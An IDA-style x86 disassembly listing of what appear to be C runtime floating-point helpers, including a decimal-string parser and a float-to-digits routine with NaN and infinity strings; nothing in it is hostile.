loc_41F10A: ; CODE XREF: sub_41F038+C6j
or esi, 0FFFFFFFFh
loc_41F10D: ; CODE XREF: sub_41F038+BBj
push [ebp+arg_4]
push ebx
call sub_41FB30
pop ecx
pop ecx
jmp short loc_41F15A
; ---------------------------------------------------------------------------
loc_41F11A: ; CODE XREF: sub_41F038+71j
jge short loc_41F15A
push 0
push [ebp+arg_4]
push ebx
call sub_41BA39
push ebx
call sub_41E3E2
add esp, 10h
push eax
nop
call near ptr 7C832044h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41F15A
mov dword_515884, 0Dh
nop
call near ptr 7C910331h
mov dword_515888, eax
loc_41F15A: ; CODE XREF: sub_41F038+E0j
; sub_41F038:loc_41F11Aj ...
push 0
push [ebp+arg_0]
push ebx
call sub_41BA39
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41F17A
; ---------------------------------------------------------------------------
loc_41F16D: ; CODE XREF: sub_41F038+1Aj
; sub_41F038+36j
mov dword_515884, 9
loc_41F177: ; CODE XREF: sub_41F038+4Ej
; sub_41F038+63j
or eax, 0FFFFFFFFh
loc_41F17A: ; CODE XREF: sub_41F038+133j
pop esi
pop ebx
leave
retn
sub_41F038 endp
; =============== S U B R O U T I N E =======================================
sub_41F17E proc near ; CODE XREF: sub_41E8DE+2Bp
; sub_41E8DE+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41F194
cmp ecx, esi
jnb short loc_41F197
loc_41F194: ; CODE XREF: sub_41F17E+10j
push 1
pop eax
loc_41F197: ; CODE XREF: sub_41F17E+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41F17E endp
; =============== S U B R O U T I N E =======================================
sub_41F19F proc near ; CODE XREF: sub_41F258+40p
; sub_41F258+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41F17E
add esp, 0Ch
test eax, eax
jz short loc_41F1D1
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41F17E
add esp, 0Ch
test eax, eax
jz short loc_41F1D1
inc dword ptr [esi+8]
loc_41F1D1: ; CODE XREF: sub_41F19F+19j
; sub_41F19F+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41F17E
add esp, 0Ch
test eax, eax
jz short loc_41F1E9
inc dword ptr [esi+8]
loc_41F1E9: ; CODE XREF: sub_41F19F+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41F17E
add esp, 0Ch
pop edi
pop esi
retn
sub_41F19F endp
; =============== S U B R O U T I N E =======================================
sub_41F1FD proc near ; CODE XREF: sub_41F258+30p
; sub_41F258+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41F1FD endp
; =============== S U B R O U T I N E =======================================
sub_41F22B proc near ; CODE XREF: sub_41F7F0+1C8p
; sub_41FBA6+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41F22B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F258 proc near ; CODE XREF: sub_41F31F+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41F2CC
push edi
mov [ebp+arg_8], eax
loc_41F27F: ; CODE XREF: sub_41F258+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41F1FD
push ebx
call sub_41F1FD
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41F19F
push ebx
call sub_41F1FD
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41F19F
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41F27F
xor edx, edx
pop edi
loc_41F2CC: ; CODE XREF: sub_41F258+21j
; sub_41F258+9Fj
cmp [ebx+8], edx
jnz short loc_41F2F9
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41F2CC
; ---------------------------------------------------------------------------
loc_41F2F9: ; CODE XREF: sub_41F258+77j
mov esi, 8000h
loc_41F2FE: ; CODE XREF: sub_41F258+B9j
test [ebx+8], esi
jnz short loc_41F313
push ebx
call sub_41F1FD
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41F2FE
; ---------------------------------------------------------------------------
loc_41F313: ; CODE XREF: sub_41F258+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41F258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F31F proc near ; CODE XREF: sub_41EC27+17p
; sub_41EC54+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41F35A: ; CODE XREF: sub_41F31F+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41F370
cmp cl, 9
jz short loc_41F370
cmp cl, 0Ah
jz short loc_41F370
cmp cl, 0Dh
jnz short loc_41F373
loc_41F370: ; CODE XREF: sub_41F31F+40j
; sub_41F31F+45j ...
inc edi
jmp short loc_41F35A
; ---------------------------------------------------------------------------
loc_41F373: ; CODE XREF: sub_41F31F+4Fj
push 4
pop esi
loc_41F376: ; CODE XREF: sub_41F31F+AEj
; sub_41F31F+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41F5F9 ; default
; jumptable 0041F382 case 10
jmp off_41F7C0[eax*4] ; switch jump
loc_41F389: ; DATA XREF: ___:off_41F7C0o
cmp bl, 31h ; jumptable 0041F382 case 0
jl short loc_41F39A
cmp bl, 39h
jg short loc_41F39A
loc_41F393: ; CODE XREF: sub_41F31F+C4j
; sub_41F31F+118j
push 3
jmp loc_41F5B7
; ---------------------------------------------------------------------------
loc_41F39A: ; CODE XREF: sub_41F31F+6Dj
; sub_41F31F+72j
cmp bl, byte_43B7B0
jnz short loc_41F3A9
loc_41F3A2: ; CODE XREF: sub_41F31F+124j
push 5
jmp loc_41F5EF
; ---------------------------------------------------------------------------
loc_41F3A9: ; CODE XREF: sub_41F31F+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41F3CF
dec eax
dec eax
jz short loc_41F3C3
sub eax, 3
jnz loc_41F692
jmp loc_41F452
; ---------------------------------------------------------------------------
loc_41F3C3: ; CODE XREF: sub_41F31F+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41F376
; ---------------------------------------------------------------------------
loc_41F3CF: ; CODE XREF: sub_41F31F+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41F376
; ---------------------------------------------------------------------------
loc_41F3D8: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
cmp bl, 31h ; jumptable 0041F382 case 1
mov [ebp+var_10], edx
jl short loc_41F3E5
cmp bl, 39h
jle short loc_41F393
loc_41F3E5: ; CODE XREF: sub_41F31F+BFj
cmp bl, byte_43B7B0
jz loc_41F4AD
cmp bl, 2Bh
jz short loc_41F427
cmp bl, 2Dh
jz short loc_41F427
cmp bl, 30h
jz short loc_41F452
loc_41F400: ; CODE XREF: sub_41F31F+207j
cmp bl, 43h
jle loc_41F692
cmp bl, 45h
jle short loc_41F420
cmp bl, 63h
jle loc_41F692
cmp bl, 65h
jg loc_41F692
loc_41F420: ; CODE XREF: sub_41F31F+EDj
push 6
jmp loc_41F5EF
; ---------------------------------------------------------------------------
loc_41F427: ; CODE XREF: sub_41F31F+D5j
; sub_41F31F+DAj ...
dec edi
push 0Bh
jmp loc_41F5EF
; ---------------------------------------------------------------------------
loc_41F42F: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
cmp bl, 31h ; jumptable 0041F382 case 2
jl short loc_41F43D
cmp bl, 39h
jle loc_41F393
loc_41F43D: ; CODE XREF: sub_41F31F+113j
cmp bl, byte_43B7B0
jz loc_41F3A2
cmp bl, 30h
jnz loc_41F607
loc_41F452: ; CODE XREF: sub_41F31F+9Fj
; sub_41F31F+DFj
mov eax, edx
jmp loc_41F376
; ---------------------------------------------------------------------------
loc_41F459: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
mov [ebp+var_10], edx ; jumptable 0041F382 case 3
loc_41F45C: ; CODE XREF: sub_41F31F+184j
cmp dword_43B7AC, edx
jle short loc_41F475
movzx eax, bl
push esi
push eax
call sub_419B4D
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F483
; ---------------------------------------------------------------------------
loc_41F475: ; CODE XREF: sub_41F31F+143j
mov ecx, off_43B5A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F483: ; CODE XREF: sub_41F31F+154j
test eax, eax
jz short loc_41F4A5
cmp [ebp+var_4], 19h
jnb short loc_41F49D
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41F4A0
; ---------------------------------------------------------------------------
loc_41F49D: ; CODE XREF: sub_41F31F+16Cj
inc [ebp+var_8]
loc_41F4A0: ; CODE XREF: sub_41F31F+17Cj
mov bl, [edi]
inc edi
jmp short loc_41F45C
; ---------------------------------------------------------------------------
loc_41F4A5: ; CODE XREF: sub_41F31F+166j
cmp bl, byte_43B7B0
jnz short loc_41F514
loc_41F4AD: ; CODE XREF: sub_41F31F+CCj
mov eax, esi
jmp loc_41F376
; ---------------------------------------------------------------------------
loc_41F4B4: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
cmp [ebp+var_4], 0 ; jumptable 0041F382 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41F4CD
loc_41F4C0: ; CODE XREF: sub_41F31F+1ACj
cmp bl, 30h
jnz short loc_41F4CD
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41F4C0
; ---------------------------------------------------------------------------
loc_41F4CD: ; CODE XREF: sub_41F31F+19Fj
; sub_41F31F+1A4j ...
cmp dword_43B7AC, edx
jle short loc_41F4E6
movzx eax, bl
push esi
push eax
call sub_419B4D
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F4F4
; ---------------------------------------------------------------------------
loc_41F4E6: ; CODE XREF: sub_41F31F+1B4j
mov ecx, off_43B5A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F4F4: ; CODE XREF: sub_41F31F+1C5j
test eax, eax
jz short loc_41F514
cmp [ebp+var_4], 19h
jnb short loc_41F50F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41F50F: ; CODE XREF: sub_41F31F+1DDj
mov bl, [edi]
inc edi
jmp short loc_41F4CD
; ---------------------------------------------------------------------------
loc_41F514: ; CODE XREF: sub_41F31F+18Cj
; sub_41F31F+1D7j
cmp bl, 2Bh
jz loc_41F427
cmp bl, 2Dh
jz loc_41F427
jmp loc_41F400
; ---------------------------------------------------------------------------
loc_41F52B: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
cmp dword_43B7AC, edx ; jumptable 0041F382 case 5
mov [ebp+var_24], edx
jle short loc_41F547
movzx eax, bl
push esi
push eax
call sub_419B4D
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F555
; ---------------------------------------------------------------------------
loc_41F547: ; CODE XREF: sub_41F31F+215j
mov ecx, off_43B5A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F555: ; CODE XREF: sub_41F31F+226j
test eax, eax
jz loc_41F607
mov eax, esi
jmp short loc_41F5B8
; ---------------------------------------------------------------------------
loc_41F561: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
lea ecx, [edi-2] ; jumptable 0041F382 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41F571
cmp bl, 39h
jle short loc_41F5B5
loc_41F571: ; CODE XREF: sub_41F31F+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41F5ED
dec eax
dec eax
jz short loc_41F5E1
sub eax, 3
jnz loc_41F695
loc_41F586: ; CODE XREF: sub_41F31F+2A4j
push 8
jmp short loc_41F5EF
; ---------------------------------------------------------------------------
loc_41F58A: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
mov [ebp+var_20], edx ; jumptable 0041F382 case 8
loc_41F58D: ; CODE XREF: sub_41F31F+276j
cmp bl, 30h
jnz short loc_41F597
mov bl, [edi]
inc edi
jmp short loc_41F58D
; ---------------------------------------------------------------------------
loc_41F597: ; CODE XREF: sub_41F31F+271j
cmp bl, 31h
jl loc_41F692
cmp bl, 39h
jg loc_41F692
jmp short loc_41F5B5
; ---------------------------------------------------------------------------
loc_41F5AB: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
cmp bl, 31h ; jumptable 0041F382 case 7
jl short loc_41F5BE
cmp bl, 39h
jg short loc_41F5BE
loc_41F5B5: ; CODE XREF: sub_41F31F+250j
; sub_41F31F+28Aj
push 9
loc_41F5B7: ; CODE XREF: sub_41F31F+76j
pop eax
loc_41F5B8: ; CODE XREF: sub_41F31F+240j
dec edi
jmp loc_41F376
; ---------------------------------------------------------------------------
loc_41F5BE: ; CODE XREF: sub_41F31F+28Fj
; sub_41F31F+294j
cmp bl, 30h
jnz short loc_41F607
jmp short loc_41F586
; ---------------------------------------------------------------------------
loc_41F5C5: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
cmp [ebp+arg_18], 0 ; jumptable 0041F382 case 11
jz short loc_41F5F5
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41F5ED
dec eax
dec eax
jnz loc_41F695
loc_41F5E1: ; CODE XREF: sub_41F31F+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41F376
; ---------------------------------------------------------------------------
loc_41F5ED: ; CODE XREF: sub_41F31F+258j
; sub_41F31F+2B8j
push 7
loc_41F5EF: ; CODE XREF: sub_41F31F+85j
; sub_41F31F+103j ...
pop eax
jmp loc_41F376
; ---------------------------------------------------------------------------
loc_41F5F5: ; CODE XREF: sub_41F31F+2AAj
push 0Ah
dec edi
pop eax
loc_41F5F9: ; CODE XREF: sub_41F31F+5Dj
; sub_41F31F+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041F382 case 10
jz loc_41F697
jmp loc_41F376
; ---------------------------------------------------------------------------
loc_41F607: ; CODE XREF: sub_41F31F+12Dj
; sub_41F31F+238j ...
mov edi, [ebp+arg_8]
jmp loc_41F697
; ---------------------------------------------------------------------------
loc_41F60F: ; CODE XREF: sub_41F31F+63j
; DATA XREF: ___:off_41F7C0o
mov [ebp+var_20], 1 ; jumptable 0041F382 case 9
xor esi, esi
loc_41F618: ; CODE XREF: sub_41F31F+339j
cmp dword_43B7AC, 1
jle short loc_41F630
movzx eax, bl
push 4
push eax
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41F63F
; ---------------------------------------------------------------------------
loc_41F630: ; CODE XREF: sub_41F31F+300j
mov ecx, off_43B5A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41F63F: ; CODE XREF: sub_41F31F+30Fj
test eax, eax
jz short loc_41F65F
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41F65A
mov bl, [edi]
inc edi
jmp short loc_41F618
; ---------------------------------------------------------------------------
loc_41F65A: ; CODE XREF: sub_41F31F+334j
mov esi, 1451h
loc_41F65F: ; CODE XREF: sub_41F31F+322j
mov [ebp+var_1C], esi
loc_41F662: ; CODE XREF: sub_41F31F+371j
cmp dword_43B7AC, 1
jle short loc_41F67A
movzx eax, bl
push 4
push eax
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41F689
; ---------------------------------------------------------------------------
loc_41F67A: ; CODE XREF: sub_41F31F+34Aj
mov ecx, off_43B5A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41F689: ; CODE XREF: sub_41F31F+359j
test eax, eax
jz short loc_41F692
mov bl, [edi]
inc edi
jmp short loc_41F662
; ---------------------------------------------------------------------------
loc_41F692: ; CODE XREF: sub_41F31F+99j
; sub_41F31F+E4j ...
dec edi
jmp short loc_41F697
; ---------------------------------------------------------------------------
loc_41F695: ; CODE XREF: sub_41F31F+261j
; sub_41F31F+2BCj
mov edi, ecx
loc_41F697: ; CODE XREF: sub_41F31F+2DDj
; sub_41F31F+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41F77F
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41F6C3
cmp [ebp+var_45], 5
jl short loc_41F6B7
inc [ebp+var_45]
loc_41F6B7: ; CODE XREF: sub_41F31F+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41F6C6
; ---------------------------------------------------------------------------
loc_41F6C3: ; CODE XREF: sub_41F31F+38Dj
mov eax, [ebp+var_C]
loc_41F6C6: ; CODE XREF: sub_41F31F+3A2j
cmp [ebp+var_4], 0
jbe loc_41F775
loc_41F6D0: ; CODE XREF: sub_41F31F+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41F6DE
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41F6D0
; ---------------------------------------------------------------------------
loc_41F6DE: ; CODE XREF: sub_41F31F+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41F258
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41F6FD
neg eax
loc_41F6FD: ; CODE XREF: sub_41F31F+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_41F708
add eax, [ebp+arg_10]
loc_41F708: ; CODE XREF: sub_41F31F+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41F710
sub eax, [ebp+arg_14]
loc_41F710: ; CODE XREF: sub_41F31F+3ECj
cmp eax, 1450h
jle short loc_41F747
mov [ebp+var_2C], 1
loc_41F71E: ; CODE XREF: sub_41F31F+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_41F72A: ; CODE XREF: sub_41F31F+454j
; sub_41F31F+45Ej
cmp [ebp+var_2C], 0
jz short loc_41F790
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41F7A5
; ---------------------------------------------------------------------------
loc_41F747: ; CODE XREF: sub_41F31F+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41F757
mov [ebp+var_30], 1
jmp short loc_41F71E
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F31F+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41FDC6
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41F72A
; ---------------------------------------------------------------------------
loc_41F775: ; CODE XREF: sub_41F31F+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41F72A
; ---------------------------------------------------------------------------
loc_41F77F: ; CODE XREF: sub_41F31F+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41F7A5
; ---------------------------------------------------------------------------
loc_41F790: ; CODE XREF: sub_41F31F+40Fj
cmp [ebp+var_30], 0
jz short loc_41F7A5
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41F7A5: ; CODE XREF: sub_41F31F+426j
; sub_41F31F+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41F31F endp
; ---------------------------------------------------------------------------
off_41F7C0 dd offset loc_41F389 ; DATA XREF: sub_41F31F+63r
dd offset loc_41F3D8 ; jump table for switch statement
dd offset loc_41F42F
dd offset loc_41F459
dd offset loc_41F4B4
dd offset loc_41F52B
dd offset loc_41F561
dd offset loc_41F5AB
dd offset loc_41F58A
dd offset loc_41F60F
dd offset loc_41F5F9
dd offset loc_41F5C5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F7F0 proc near ; CODE XREF: sub_41ECF8+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41F852
mov byte ptr [ebx+2], 2Dh
jmp short loc_41F856
; ---------------------------------------------------------------------------
loc_41F852: ; CODE XREF: sub_41F7F0+5Aj
mov byte ptr [ebx+2], 20h
loc_41F856: ; CODE XREF: sub_41F7F0+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41F87C
test edi, edi
jnz short loc_41F87C
cmp [ebp+arg_0], edi
jnz short loc_41F87C
loc_41F867: ; CODE XREF: sub_41F7F0+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41FA7A
; ---------------------------------------------------------------------------
loc_41F87C: ; CODE XREF: sub_41F7F0+6Cj
; sub_41F7F0+70j ...
cmp dx, si
jnz short loc_41F8FB
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41F895
cmp [ebp+arg_0], 0
jz short loc_41F8A4
loc_41F895: ; CODE XREF: sub_41F7F0+9Dj
test edi, 40000000h
jnz short loc_41F8A4
push offset a1Snan ; "1#SNAN"
jmp short loc_41F8EA
; ---------------------------------------------------------------------------
loc_41F8A4: ; CODE XREF: sub_41F7F0+A3j
; sub_41F7F0+ABj
test cx, cx
jz short loc_41F8BE
cmp edi, 0C0000000h
jnz short loc_41F8BE
cmp [ebp+arg_0], 0
jnz short loc_41F8E5
push offset a1Ind ; "1#IND"
jmp short loc_41F8CD
; ---------------------------------------------------------------------------
loc_41F8BE: ; CODE XREF: sub_41F7F0+B7j
; sub_41F7F0+BFj
cmp edi, eax
jnz short loc_41F8E5
cmp [ebp+arg_0], 0
jnz short loc_41F8E5
push offset a1Inf ; "1#INF"
loc_41F8CD: ; CODE XREF: sub_41F7F0+CCj
lea eax, [ebx+4]
push eax
call sub_417A00
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41F8DC: ; CODE XREF: sub_41F7F0+109j
and [ebp+var_4], 0
jmp loc_41FA53
; ---------------------------------------------------------------------------
loc_41F8E5: ; CODE XREF: sub_41F7F0+C5j
; sub_41F7F0+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41F8EA: ; CODE XREF: sub_41F7F0+B2j
lea eax, [ebx+4]
push eax
call sub_417A00
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41F8DC
; ---------------------------------------------------------------------------
loc_41F8FB: ; CODE XREF: sub_41F7F0+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41FDC6
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41F95C
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41FBA6
pop ecx
pop ecx
loc_41F95C: ; CODE XREF: sub_41F7F0+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41F976
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41F979
jmp loc_41F867
; ---------------------------------------------------------------------------
loc_41F976: ; CODE XREF: sub_41F7F0+173j
mov edi, [ebp+arg_C]
loc_41F979: ; CODE XREF: sub_41F7F0+17Fj
cmp edi, 15h
jle short loc_41F981
push 15h
pop edi
loc_41F981: ; CODE XREF: sub_41F7F0+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41F997: ; CODE XREF: sub_41F7F0+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41F1FD
dec [ebp+arg_14]
pop ecx
jnz short loc_41F997
test esi, esi
jge short loc_41F9C1
neg esi
and esi, 0FFh
jle short loc_41F9C1
loc_41F9B4: ; CODE XREF: sub_41F7F0+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41F22B
dec esi
pop ecx
jnz short loc_41F9B4
loc_41F9C1: ; CODE XREF: sub_41F7F0+1B8j
; sub_41F7F0+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41FA1E
mov [ebp+arg_C], ecx
loc_41F9D1: ; CODE XREF: sub_41F7F0+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41F1FD
lea eax, [ebp+var_10]
push eax
call sub_41F1FD
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F19F
